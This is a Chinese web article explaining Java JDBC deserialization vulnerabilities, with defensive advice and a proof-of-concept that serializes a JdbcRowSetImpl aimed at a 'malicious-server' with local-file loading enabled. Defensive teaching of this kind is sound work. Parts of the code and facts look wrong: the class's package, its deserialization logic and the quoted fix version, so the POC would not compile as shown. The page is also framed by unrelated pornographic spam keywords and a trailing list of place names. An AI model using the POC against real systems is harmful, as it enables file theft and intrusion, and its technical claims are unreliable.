最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java JDBC 反序列化實戰(zhàn)案例

 更新時間:2025年11月11日 10:23:55   作者:獨角鯨網(wǎng)絡(luò)安全實驗室  
這篇文章主要介紹了Java JDBC 反序列化實戰(zhàn)案例,本文結(jié)合實例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友參考下吧

JDBC(Java Database Connectivity)是Java訪問數(shù)據(jù)庫的標(biāo)準(zhǔn)API,其核心定位是提供數(shù)據(jù)庫連接、SQL執(zhí)行、結(jié)果集處理的內(nèi)存態(tài)操作接口——JDBC核心組件(Driver、Connection、StatementResultSet)本身不設(shè)計序列化/反序列化能力,也不建議被持久化或跨網(wǎng)絡(luò)傳輸。

但在實際開發(fā)中,基于JDBC的擴展組件(如RowSet、數(shù)據(jù)源實現(xiàn))或自定義JDBC封裝類,可能因?qū)崿F(xiàn)Serializable接口、反序列化時執(zhí)行危險操作(如加載惡意類、執(zhí)行SQL注入、連接惡意數(shù)據(jù)庫),導(dǎo)致反序列化漏洞。

一、核心前提:JDBC與序列化的本質(zhì)關(guān)系

1. JDBC核心組件的設(shè)計初衷

JDBC核心API(java.sql.*包)的對象(如Connection、StatementResultSet)是數(shù)據(jù)庫連接的運行時句柄,依賴底層Socket連接和數(shù)據(jù)庫會話狀態(tài),設(shè)計目標(biāo)是“內(nèi)存中臨時使用”,不支持序列化(未實現(xiàn)Serializable接口)。

2. 風(fēng)險來源:JDBC擴展組件的序列化支持

漏洞并非來自JDBC標(biāo)準(zhǔn)本身,而是來自基于JDBC的擴展組件——這些組件為了支持“數(shù)據(jù)持久化”或“跨進程傳輸”,實現(xiàn)了Serializable接口,但在反序列化過程中執(zhí)行了危險邏輯:

  • JDK自帶:javax.sql.rowset.JdbcRowSetImplCachedRowSetImpl、WebRowSetImpl(RowSet接口的實現(xiàn),封裝了JDBC連接邏輯);
  • 第三方數(shù)據(jù)源:Apache DBCP的BasicDataSource、C3P0的ComboPooledDataSource(序列化時存儲了數(shù)據(jù)庫連接配置);
  • ORM工具集成:Hibernate的PersistentBag、MyBatis的ResultMap(若封裝了JDBC相關(guān)對象并支持序列化);
  • 自定義封裝類:開發(fā)者自定義的JDBC工具類(如SerializableDBHelper),反序列化時執(zhí)行數(shù)據(jù)庫連接或SQL執(zhí)行。

二、典型漏洞原理:以JdbcRowSetImpl為例

JdbcRowSetImpl是JDK自帶的RowSet實現(xiàn)(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相關(guān)反序列化風(fēng)險的典型代表,影響JDK 8u121之前的版本(后續(xù)JDK通過安全修復(fù)限制了危險操作)。

1. 漏洞觸發(fā)鏈路

JdbcRowSetImpl的反序列化漏洞核心是:反序列化時自動執(zhí)行數(shù)據(jù)庫連接邏輯,且連接參數(shù)(URL、驅(qū)動類、用戶名、密碼)可被攻擊者控制。

關(guān)鍵流程拆解:

// 1. JdbcRowSetImpl實現(xiàn)Serializable接口,允許序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化時調(diào)用readObject()方法(默認(rèn)或自定義)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject(); // 讀取序列化的屬性(url、user、password、driverClass等)
    internalInit(); // 初始化內(nèi)部狀態(tài)
    connect(); // 關(guān)鍵:反序列化時自動建立數(shù)據(jù)庫連接
}
// 3. connect()方法的危險邏輯
private void connect() throws SQLException {
    if (driverClass != null) {
        Class.forName(driverClass); // 加載驅(qū)動類(若driverClass可控,可加載惡意類)
    }
    // 建立數(shù)據(jù)庫連接(若URL可控,可利用JDBC驅(qū)動的危險參數(shù)執(zhí)行命令)
    this.conn = DriverManager.getConnection(url, user, password);
}

2. 漏洞放大:JDBC驅(qū)動的危險特性

不同數(shù)據(jù)庫的JDBC驅(qū)動支持一些“危險URL參數(shù)”,若攻擊者控制JdbcRowSetImplurl屬性,可通過這些參數(shù)執(zhí)行惡意操作:

數(shù)據(jù)庫危險URL參數(shù)危害
MySQLallowLoadLocalInfile=true讀取本地文件(配合SQL注入)
MySQLlogOutput=FILE&logFile=/tmp/malicious.sh寫入惡意文件
PostgreSQLoptions=-c 'shell command'執(zhí)行系統(tǒng)命令(需數(shù)據(jù)庫權(quán)限)
惡意驅(qū)動jdbc:malicious://...加載自定義惡意JDBC驅(qū)動,執(zhí)行任意代碼

3. 漏洞觸發(fā)條件

  • 應(yīng)用程序?qū)?strong>不可信數(shù)據(jù)(如網(wǎng)絡(luò)傳輸、文件上傳、緩存、日志)執(zhí)行反序列化;
  • 應(yīng)用依賴JDK 8u121之前的版本(未修復(fù)該漏洞);
  • 攻擊者可控制序列化數(shù)據(jù)中的JdbcRowSetImpl屬性(url、driverClass、userpassword)。

三、其他JDBC相關(guān)反序列化風(fēng)險點

1. 第三方數(shù)據(jù)源組件

  • Apache DBCP BasicDataSource:序列化時存儲了urlusername、passworddriverClassName等配置,反序列化時若參數(shù)被篡改,可能導(dǎo)致連接惡意數(shù)據(jù)庫或泄露敏感信息;
  • C3P0 ComboPooledDataSource:同理,序列化的連接池配置可被篡改,反序列化時初始化惡意連接池。

2. ORM工具與JDBC的結(jié)合場景

  • Hibernate:若實體類包含Serializable的JDBC相關(guān)對象(如ResultSet封裝類),且反序列化時觸發(fā)懶加載,可能執(zhí)行惡意SQL;
  • MyBatis:若ResultMap對應(yīng)的實體類實現(xiàn)Serializable,且反序列化時觸發(fā)@PostConstruct或自定義readObject中的JDBC操作,可能被利用。

3. 自定義JDBC封裝類

開發(fā)者常自定義Serializable的JDBC工具類(如DBUtil),若存在以下情況,可能引入漏洞:

  • readObject方法中直接執(zhí)行Class.forName(driverClass)(驅(qū)動類可控);
  • 反序列化時自動執(zhí)行executeQuery(sql)(SQL語句可控,導(dǎo)致SQL注入);
  • 序列化數(shù)據(jù)中包含數(shù)據(jù)庫密碼,未加密導(dǎo)致泄露。

四、漏洞防御方案(核心:阻斷危險反序列化鏈路)

JDBC相關(guān)反序列化漏洞的防御核心是:避免序列化JDBC相關(guān)對象、限制反序列化類范圍、禁用危險功能、驗證數(shù)據(jù)來源。

1. 根本原則:禁止序列化JDBC相關(guān)對象

  • 不序列化RowSet、DataSource、Connection等JDBC相關(guān)對象;
  • 若需跨進程傳輸數(shù)據(jù)庫查詢結(jié)果,使用DTO(數(shù)據(jù)傳輸對象) 封裝純數(shù)據(jù)(如UserDTO包含idname),而非直接序列化ResultSetRowSet
  • 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。

2. 限制反序列化的類范圍(最有效)

使用反序列化過濾器,只允許信任的類進行反序列化,禁止危險類(如javax.sql.rowset.*、第三方數(shù)據(jù)源類):

  • Java 9+:使用ObjectInputFilter(JDK原生支持);
  • Java 8及以下:使用第三方庫(如Apache Commons IO的ValidatingObjectInputStream、Google Guava的SerializationFilters)。

示例:Java 9+ ObjectInputFilter配置

// 僅允許com.example包下的類和Java基礎(chǔ)類反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 設(shè)置過濾器
Object obj = ois.readObject(); // 僅允許白名單類反序列化

3. 禁用JDBC驅(qū)動的危險功能

配置JDBC URL時,顯式禁用危險參數(shù):

  • MySQL:allowLoadLocalInfile=false、logOutput=NONE
  • PostgreSQL:避免使用options參數(shù),或限制數(shù)據(jù)庫用戶權(quán)限(禁止執(zhí)行shell命令);
  • 禁用不必要的JDBC驅(qū)動:僅加載應(yīng)用所需的數(shù)據(jù)庫驅(qū)動,避免加載惡意驅(qū)動(如通過DriverManager.deregisterDriver()移除無用驅(qū)動)。

4. 驗證序列化數(shù)據(jù)的來源與完整性

  • 僅對可信來源(如內(nèi)部服務(wù)、加密存儲)的數(shù)據(jù)進行反序列化;
  • 對序列化數(shù)據(jù)進行簽名或加密(如使用AES加密+RSA簽名),反序列化前驗證簽名,防止數(shù)據(jù)被篡改。

5. 升級依賴組件

  • 升級JDK:至8u121+(修復(fù)JdbcRowSetImpl反序列化漏洞)或更高版本;
  • 升級JDBC驅(qū)動:使用官方最新版本,修復(fù)已知的URL參數(shù)注入、驅(qū)動類加載漏洞;
  • 升級數(shù)據(jù)源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。

6. 避免自定義危險的readObject方法

若必須自定義Serializable類(如DTO),需滿足:

  • readObject方法中不執(zhí)行危險操作(類加載、數(shù)據(jù)庫連接、SQL執(zhí)行、命令調(diào)用);
  • 對反序列化的屬性(如url、driverClass)進行嚴(yán)格校驗(如正則匹配合法URL格式、白名單校驗驅(qū)動類名)。

五、實戰(zhàn)案例:JdbcRowSetImpl漏洞POC(僅供學(xué)習(xí))

以下POC演示如何構(gòu)造惡意JdbcRowSetImpl序列化數(shù)據(jù),觸發(fā)反序列化時的惡意數(shù)據(jù)庫連接(需在JDK 8u121之前環(huán)境測試):

1. 構(gòu)造惡意序列化數(shù)據(jù)

import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
    public static void main(String[] args) throws Exception {
        // 1. 構(gòu)造惡意JdbcRowSetImpl對象(控制URL和驅(qū)動類)
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 惡意URL
        rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驅(qū)動(或惡意驅(qū)動類名)
        rowSet.setUsername("attacker");
        rowSet.setPassword("pass123");
        // 2. 序列化對象到字節(jié)流(攻擊者可將該字節(jié)流注入目標(biāo)應(yīng)用)
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(rowSet);
        byte[] maliciousData = bos.toByteArray();
        // 3. 目標(biāo)應(yīng)用反序列化(模擬漏洞觸發(fā))
        ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 反序列化時觸發(fā)connect(),連接惡意MySQL服務(wù)器
    }
}

2. 漏洞危害說明

  • driverClass設(shè)為惡意類(如com.attacker.MaliciousDriver),且該類可被目標(biāo)應(yīng)用加載(如通過類路徑注入),則Class.forName(driverClass)會執(zhí)行惡意類的靜態(tài)代碼塊;
  • url包含MySQL的allowLoadLocalInfile=true,配合后續(xù)SQL注入,可讀取目標(biāo)服務(wù)器本地文件(如/etc/passwd);
  • 連接惡意數(shù)據(jù)庫服務(wù)器,可能泄露應(yīng)用的敏感信息(如用戶名、密碼、業(yè)務(wù)數(shù)據(jù))。

六、總結(jié):JDBC反序列化漏洞的核心認(rèn)知

  1. 漏洞根源不是JDBC本身:JDBC標(biāo)準(zhǔn)API不支持序列化,風(fēng)險來自“實現(xiàn)了Serializable的JDBC擴展組件”和“不當(dāng)?shù)男蛄谢瘜嵺`”;
  2. 觸發(fā)核心是“反序列化+危險操作”:漏洞的關(guān)鍵是反序列化過程中自動執(zhí)行數(shù)據(jù)庫連接、類加載等危險邏輯,且輸入?yún)?shù)可控;
  3. 防御核心是“最小權(quán)限+可信數(shù)據(jù)”:限制反序列化類范圍、禁止序列化JDBC相關(guān)對象、禁用危險功能、驗證數(shù)據(jù)來源,即可阻斷絕大多數(shù)風(fēng)險。

在實際開發(fā)中,應(yīng)遵循“能不序列化則不序列化”的原則,若必須序列化,僅傳輸純數(shù)據(jù)(DTO),而非包含業(yè)務(wù)邏輯(如數(shù)據(jù)庫連接)的對象。同時,通過反序列化過濾器、組件升級、參數(shù)校驗等手段,構(gòu)建多層防御體系。

到此這篇關(guān)于Java JDBC 反序列化深度解析的文章就介紹到這了,更多相關(guān)Java JDBC 反序列化內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • reactor-logback的AsyncAppender執(zhí)行流程源碼解讀

    reactor-logback的AsyncAppender執(zhí)行流程源碼解讀

    這篇文章主要為大家介紹了reactor-logback的AsyncAppender執(zhí)行流程源碼解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-12-12
  • Mybatis-Plus打印sql日志兩種方式

    Mybatis-Plus打印sql日志兩種方式

    這篇文章主要給大家介紹了關(guān)于Mybatis-Plus打印sql日志兩種方式,Mybatis-plus是MyBatis增強工具包,用于簡化CRUD操作,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-07-07
  • Spring?Boot中使用Redis實戰(zhàn)案例

    Spring?Boot中使用Redis實戰(zhàn)案例

    redis作為一個高性能的內(nèi)存數(shù)據(jù)庫,如果不會用就太落伍了,之前在 node.js中用過 redis,本篇記錄如何將 redis 集成到 spring boot 中,下面這篇文章主要給大家介紹了關(guān)于Spring?Boot中使用Redis的相關(guān)資料,需要的朋友可以參考下
    2023-04-04
  • 三分鐘帶你了解SpringBoot真正的啟動引導(dǎo)類

    三分鐘帶你了解SpringBoot真正的啟動引導(dǎo)類

    這篇文章主要介紹了三分鐘帶你了解SpringBoot真正的啟動引導(dǎo)類,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • Javadoc 具體使用詳解

    Javadoc 具體使用詳解

    這篇文章主要介紹了Javadoc 具體使用詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-08-08
  • java中獲取當(dāng)前服務(wù)器的Ip地址的方法

    java中獲取當(dāng)前服務(wù)器的Ip地址的方法

    本篇文章主要介紹了java中獲取當(dāng)前服務(wù)器的Ip地址的方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-02-02
  • 一文帶你玩轉(zhuǎn)Java異常處理

    一文帶你玩轉(zhuǎn)Java異常處理

    這篇文章主要為大家介紹一下Java中的異常處理機制,文中通過示例為大家進行了詳細(xì)的介紹,對我們學(xué)習(xí)有一定的幫助,感興趣的可以了解一下
    2022-08-08
  • LIS 最長遞增子序列 Java的簡單實現(xiàn)

    LIS 最長遞增子序列 Java的簡單實現(xiàn)

    下面小編就為大家?guī)硪黄狶IS 最長遞增子序列 Java的簡單實現(xiàn)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-09-09
  • Java 深入分析鏈表面試實例題目

    Java 深入分析鏈表面試實例題目

    鏈表是一種物理存儲單元上非連續(xù)、非順序的存儲結(jié)構(gòu),數(shù)據(jù)元素的邏輯順序是通過鏈表中的指針鏈接次序?qū)崿F(xiàn)的,本篇帶你通過兩個實例題目來深入探索
    2022-03-03
  • Spring Boot中使用Spring-Retry重試框架的實現(xiàn)

    Spring Boot中使用Spring-Retry重試框架的實現(xiàn)

    本文主要介紹了Spring Boot中使用Spring-Retry重試框架的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-04-04

最新評論

武强县| 九龙城区| 碌曲县| 安仁县| 扎鲁特旗| 醴陵市| 承德县| 南开区| 公主岭市| 江山市| 康定县| 信丰县| 镇平县| 台前县| 乐山市| 通城县| 江陵县| 济源市| 闵行区| 久治县| 吴江市| 桐柏县| 息烽县| 上杭县| 交口县| 津南区| 西林县| 洪湖市| 渭源县| 托克逊县| 河源市| 基隆市| 淳化县| 三门县| 邛崃市| 邵阳县| 五华县| 大邑县| 如东县| 三台县| 页游|